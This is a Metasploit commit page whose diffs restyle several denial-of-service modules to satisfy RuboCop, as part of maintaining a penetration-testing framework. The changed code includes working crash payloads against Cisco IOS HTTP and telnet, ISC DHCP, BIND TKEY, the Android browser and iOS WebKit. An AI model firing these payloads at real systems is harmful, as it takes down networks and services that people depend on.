Skip to content

Commit f7e7b5a

Browse files
dledda-r7dledda-r7
authored
Land rapid7#20154, modules/auxiliary/dos: Resolve RuboCop violations
Land rapid7#20154, modules/auxiliary/dos: Resolve RuboCop violations
2 parents 0093512 + 8ea5d32 commit f7e7b5a

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

41 files changed

+1335
-1094
lines changed

‎modules/auxiliary/dos/android/android_stock_browser_iframe.rb‎

Lines changed: 14 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -10,24 +10,29 @@ def initialize(info = {})
1010
super(
1111
update_info(
1212
info,
13-
'Name' => "Android Stock Browser Iframe DOS",
14-
'Description' => %q(
13+
'Name' => 'Android Stock Browser Iframe DOS',
14+
'Description' => %q{
1515
This module exploits a vulnerability in the native browser that comes with Android 4.0.3.
1616
If successful, the browser will crash after viewing the webpage.
17-
),
18-
'License' => MSF_LICENSE,
19-
'Author' => [
17+
},
18+
'License' => MSF_LICENSE,
19+
'Author' => [
2020
'Jean Pascal Pereira', # Original exploit discovery
2121
'Jonathan Waggoner' # Metasploit module
2222
],
23-
'References' => [
23+
'References' => [
2424
[ 'PACKETSTORM', '118539'],
2525
[ 'CVE', '2012-6301' ]
2626
],
2727
'DisclosureDate' => '2012-12-01',
28-
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
28+
'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]],
2929
'PassiveActions' => [ 'WebServer' ],
30-
'DefaultAction' => 'WebServer'
30+
'DefaultAction' => 'WebServer',
31+
'Notes' => {
32+
'Stability' => [CRASH_SERVICE_DOWN],
33+
'SideEffects' => [],
34+
'Reliability' => []
35+
}
3136
)
3237
)
3338
end
@@ -44,7 +49,7 @@ def setup
4449
for (var i = 0; i < 600; i++)
4550
{
4651
var m_frame = document.createElement("iframe");
47-
m_frame.setAttribute("src", "market://#{Rex::Text.rand_text_alpha(rand(16) + 1)}");
52+
m_frame.setAttribute("src", "market://#{Rex::Text.rand_text_alpha(1..16)}");
4853
document.body.appendChild(m_frame);
4954
}
5055
</script>

‎modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb‎

Lines changed: 11 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -10,21 +10,26 @@ def initialize(info = {})
1010
super(
1111
update_info(
1212
info,
13-
'Name' => "iOS Safari Denial of Service with CSS",
14-
'Description' => %q(
13+
'Name' => 'iOS Safari Denial of Service with CSS',
14+
'Description' => %q{
1515
This module exploits a vulnerability in WebKit on Apple iOS.
1616
If successful, the device will restart after viewing the webpage.
17-
),
18-
'License' => MSF_LICENSE,
19-
'Author' => [
17+
},
18+
'License' => MSF_LICENSE,
19+
'Author' => [
2020
'Sabri Haddouche', # twitter.com/pwnsdx
2121
],
22-
'References' => [
22+
'References' => [
2323
['URL', 'https://twitter.com/pwnsdx/status/1040944750973595649'],
2424
['URL', 'http://web.archive.org/web/20220706175501/https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea'],
2525
['URL', 'https://nbulischeck.github.io/apple-safari-crash'],
2626
],
2727
'DisclosureDate' => '2018-09-15',
28+
'Notes' => {
29+
'Stability' => [CRASH_OS_RESTARTS],
30+
'SideEffects' => [],
31+
'Reliability' => []
32+
}
2833
)
2934
)
3035
end

‎modules/auxiliary/dos/cisco/ios_http_percentpercent.rb‎

Lines changed: 26 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -8,37 +8,43 @@ class MetasploitModule < Msf::Auxiliary
88
include Msf::Auxiliary::Dos
99

1010
def initialize(info = {})
11-
super(update_info(info,
12-
'Name' => 'Cisco IOS HTTP GET /%% Request Denial of Service',
13-
'Description' => %q{
14-
This module triggers a Denial of Service condition in the Cisco IOS
15-
HTTP server. By sending a GET request for "/%%", the device becomes
16-
unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module
17-
tested successfully against a Cisco 1600 Router IOS v11.2(18)P.
18-
},
19-
'Author' => [ 'aushack' ],
20-
'License' => MSF_LICENSE,
21-
'References' =>
22-
[
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'Cisco IOS HTTP GET /%% Request Denial of Service',
15+
'Description' => %q{
16+
This module triggers a Denial of Service condition in the Cisco IOS
17+
HTTP server. By sending a GET request for "/%%", the device becomes
18+
unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module
19+
tested successfully against a Cisco 1600 Router IOS v11.2(18)P.
20+
},
21+
'Author' => [ 'aushack' ],
22+
'License' => MSF_LICENSE,
23+
'References' => [
2324
[ 'BID', '1154'],
2425
[ 'CVE', '2000-0380'],
2526
[ 'OSVDB', '1302' ],
2627
],
27-
'DisclosureDate' => '2000-04-26'))
28-
29-
register_options(
30-
[
31-
Opt::RPORT(80),
32-
])
28+
'DisclosureDate' => '2000-04-26',
29+
'Notes' => {
30+
'Stability' => [CRASH_SERVICE_DOWN],
31+
'SideEffects' => [],
32+
'Reliability' => []
33+
}
34+
)
35+
)
3336

37+
register_options([
38+
Opt::RPORT(80),
39+
])
3440
end
3541

3642
def run
3743
connect
3844

39-
print_status("Sending HTTP DoS packet")
45+
print_status('Sending HTTP DoS packet')
4046

41-
sploit = "GET /%% HTTP/1.0"
47+
sploit = 'GET /%% HTTP/1.0'
4248
sock.put(sploit + "\r\n")
4349

4450
disconnect

‎modules/auxiliary/dos/cisco/ios_telnet_rocem.rb‎

Lines changed: 34 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -8,44 +8,50 @@ class MetasploitModule < Msf::Auxiliary
88
include Msf::Auxiliary::Dos
99

1010
def initialize(info = {})
11-
super(update_info(info,
12-
'Name' => 'Cisco IOS Telnet Denial of Service',
13-
'Description' => %q{
14-
This module triggers a Denial of Service condition in the Cisco IOS
15-
telnet service affecting multiple Cisco switches. Tested against Cisco
16-
Catalyst 2960 and 3750.
17-
},
18-
'Author' => [ 'Artem Kondratenko' ],
19-
'License' => MSF_LICENSE,
20-
'References' =>
21-
[
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'Cisco IOS Telnet Denial of Service',
15+
'Description' => %q{
16+
This module triggers a Denial of Service condition in the Cisco IOS
17+
telnet service affecting multiple Cisco switches. Tested against Cisco
18+
Catalyst 2960 and 3750.
19+
},
20+
'Author' => [ 'Artem Kondratenko' ],
21+
'License' => MSF_LICENSE,
22+
'References' => [
2223
['BID', '96960'],
2324
['CVE', '2017-3881'],
2425
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp'],
2526
['URL', 'https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution']
2627
],
27-
'DisclosureDate' => '2017-03-17'))
28+
'DisclosureDate' => '2017-03-17',
29+
'Notes' => {
30+
'Stability' => [CRASH_SERVICE_DOWN],
31+
'SideEffects' => [],
32+
'Reliability' => []
33+
}
34+
)
35+
)
2836

2937
register_options([ Opt::RPORT(23) ])
3038
end
3139

3240
def run
33-
begin
34-
connect
35-
print_status "Connected to telnet service"
36-
packet = sock.read(200)
37-
if packet.nil?
38-
print_error "Failed to get initial packet from telnet service."
39-
else
40-
print_status "Got initial packet from telnet service: " + packet.inspect
41-
end
42-
print_status "Sending Telnet DoS packet"
43-
sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0")
44-
disconnect
45-
rescue ::Rex::ConnectionRefused
46-
print_status "Unable to connect to #{rhost}:#{rport}."
47-
rescue ::Errno::ECONNRESET
48-
print_good "DoS packet successful. #{rhost} not responding."
41+
connect
42+
print_status 'Connected to telnet service'
43+
packet = sock.read(200)
44+
if packet.nil?
45+
print_error 'Failed to get initial packet from telnet service.'
46+
else
47+
print_status 'Got initial packet from telnet service: ' + packet.inspect
4948
end
49+
print_status 'Sending Telnet DoS packet'
50+
sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0")
51+
disconnect
52+
rescue ::Rex::ConnectionRefused
53+
print_status "Unable to connect to #{rhost}:#{rport}."
54+
rescue ::Errno::ECONNRESET
55+
print_good "DoS packet successful. #{rhost} not responding."
5056
end
5157
end

‎modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb‎

Lines changed: 26 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -9,58 +9,61 @@ class MetasploitModule < Msf::Auxiliary
99

1010
def initialize
1111
super(
12-
'Name' => 'ISC DHCP Zero Length ClientID Denial of Service Module',
13-
'Description' => %q{
12+
'Name' => 'ISC DHCP Zero Length ClientID Denial of Service Module',
13+
'Description' => %q{
1414
This module performs a Denial of Service Attack against the ISC DHCP server,
1515
versions 4.1 before 4.1.1-P1 and 4.0 before 4.0.2-P1. It sends out a DHCP Request
1616
message with a 0-length client_id option for an IP address on the appropriate range
1717
for the dhcp server. When ISC DHCP Server tries to hash this value it exits
1818
abnormally.
1919
},
20-
'Author' =>
21-
[
22-
'sid', # Original POC
23-
'theLightCosine' # msf module
24-
],
25-
'License' => MSF_LICENSE,
26-
'References' =>
27-
[
28-
[ 'CVE', '2010-2156' ],
29-
[ 'OSVDB', '65246'],
30-
[ 'EDB', '14185']
31-
]
20+
'Author' => [
21+
'sid', # Original POC
22+
'theLightCosine' # msf module
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' => [
26+
[ 'CVE', '2010-2156' ],
27+
[ 'OSVDB', '65246'],
28+
[ 'EDB', '14185']
29+
],
30+
'Notes' => {
31+
'Stability' => [CRASH_SERVICE_DOWN],
32+
'SideEffects' => [],
33+
'Reliability' => []
34+
}
3235
)
3336
register_options(
3437
[
3538
OptAddress.new('RIP', [true, 'A valid IP to request from the server'])
3639
]
3740
)
38-
deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
41+
deregister_options('FILTER', 'PCAPFILE', 'SNAPLEN', 'TIMEOUT')
3942
end
4043

4144
def run
4245
open_pcap
43-
print_status("Creating DHCP Request with 0-length ClientID")
46+
print_status('Creating DHCP Request with 0-length ClientID')
4447
p = PacketFu::UDPPacket.new
45-
p.ip_daddr = "255.255.255.255"
48+
p.ip_daddr = '255.255.255.255'
4649
p.udp_sport = 68
4750
p.udp_dport = 67
4851

4952
# TODO: Get a DHCP parser into PacketFu
5053
chaddr = "\xaa\xaa\xaa\xaa\xaa\xaa"
5154
dhcp_payload = "\x63\x82\x53\x63\x35\x01\x03\x3d\x00\xff"
52-
p.payload = dhcp_req(chaddr,dhcp_payload)
55+
p.payload = dhcp_req(chaddr, dhcp_payload)
5356
p.recalc
54-
print_status("Sending malformed DHCP request...")
57+
print_status('Sending malformed DHCP request...')
5558
capture_sendto(p, '255.255.255.255')
5659
close_pcap
5760
end
5861

59-
def dhcp_req(chaddr,payload)
62+
def dhcp_req(chaddr, payload)
6063
req = "\x00" * 236
61-
req[0,3] = "\x01\x01\x06" # Boot request on Eth with hw len of 6
62-
req[12,4] = Rex::Socket.addr_aton(datastore['RIP'])
63-
req[28,6] = chaddr
64+
req[0, 3] = "\x01\x01\x06" # Boot request on Eth with hw len of 6
65+
req[12, 4] = Rex::Socket.addr_aton(datastore['RIP'])
66+
req[28, 6] = chaddr
6467
req + payload
6568
end
6669
end

‎modules/auxiliary/dos/dns/bind_tkey.rb‎

Lines changed: 37 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -9,30 +9,38 @@ class MetasploitModule < Msf::Auxiliary
99
include Msf::Auxiliary::Dos
1010

1111
def initialize(info = {})
12-
super(update_info(info,
13-
'Name' => 'BIND TKEY Query Denial of Service',
14-
'Description' => %q{
15-
This module sends a malformed TKEY query, which exploits an
16-
error in handling TKEY queries on affected BIND9 'named' DNS servers.
17-
As a result, a vulnerable named server will exit with a REQUIRE
18-
assertion failure. This condition can be exploited in versions of BIND
19-
between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0
20-
through 9.10.2-P2.
21-
},
22-
'Author' => [
23-
'Jonathan Foote', # Original discoverer
24-
'throwawayokejxqbbif', # PoC
25-
'wvu' # Metasploit module
26-
],
27-
'References' => [
28-
['CVE', '2015-5477'],
29-
['URL', 'http://web.archive.org/web/20190425014550/https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'],
30-
['URL', 'https://kb.isc.org/article/AA-01272']
31-
],
32-
'DisclosureDate' => '2015-07-28',
33-
'License' => MSF_LICENSE,
34-
'DefaultOptions' => {'ScannerRecvWindow' => 0}
35-
))
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'BIND TKEY Query Denial of Service',
16+
'Description' => %q{
17+
This module sends a malformed TKEY query, which exploits an
18+
error in handling TKEY queries on affected BIND9 'named' DNS servers.
19+
As a result, a vulnerable named server will exit with a REQUIRE
20+
assertion failure. This condition can be exploited in versions of BIND
21+
between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0
22+
through 9.10.2-P2.
23+
},
24+
'Author' => [
25+
'Jonathan Foote', # Original discoverer
26+
'throwawayokejxqbbif', # PoC
27+
'wvu' # Metasploit module
28+
],
29+
'References' => [
30+
['CVE', '2015-5477'],
31+
['URL', 'http://web.archive.org/web/20190425014550/https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'],
32+
['URL', 'https://kb.isc.org/article/AA-01272']
33+
],
34+
'DisclosureDate' => '2015-07-28',
35+
'License' => MSF_LICENSE,
36+
'DefaultOptions' => { 'ScannerRecvWindow' => 0 },
37+
'Notes' => {
38+
'Stability' => [CRASH_SERVICE_DOWN],
39+
'SideEffects' => [],
40+
'Reliability' => []
41+
}
42+
)
43+
)
3644

3745
register_options([
3846
Opt::RPORT(53),
@@ -52,15 +60,15 @@ def scan_host(ip)
5260
end
5361

5462
def payload
55-
name = Rex::Text.rand_text_alphanumeric(rand(42) + 1)
56-
txt = Rex::Text.rand_text_alphanumeric(rand(42) + 1)
63+
name = Rex::Text.rand_text_alphanumeric(1..42)
64+
txt = Rex::Text.rand_text_alphanumeric(1..42)
5765

5866
name_length = [name.length].pack('C')
59-
txt_length = [txt.length].pack('C')
67+
txt_length = [txt.length].pack('C')
6068
data_length = [txt.length + 1].pack('n')
61-
ttl = [rand(2 ** 31 - 1) + 1].pack('N')
69+
ttl = [rand(2**31 - 1) + 1].pack('N')
6270

63-
query = "\x00\x00" # Transaction ID: 0x0000
71+
query = "\x00\x00" # Transaction ID: 0x0000
6472
query << "\x00\x00" # Flags: 0x0000 Standard query
6573
query << "\x00\x01" # Questions: 1
6674
query << "\x00\x00" # Answer RRs: 0

0 commit comments

Comments
 (0)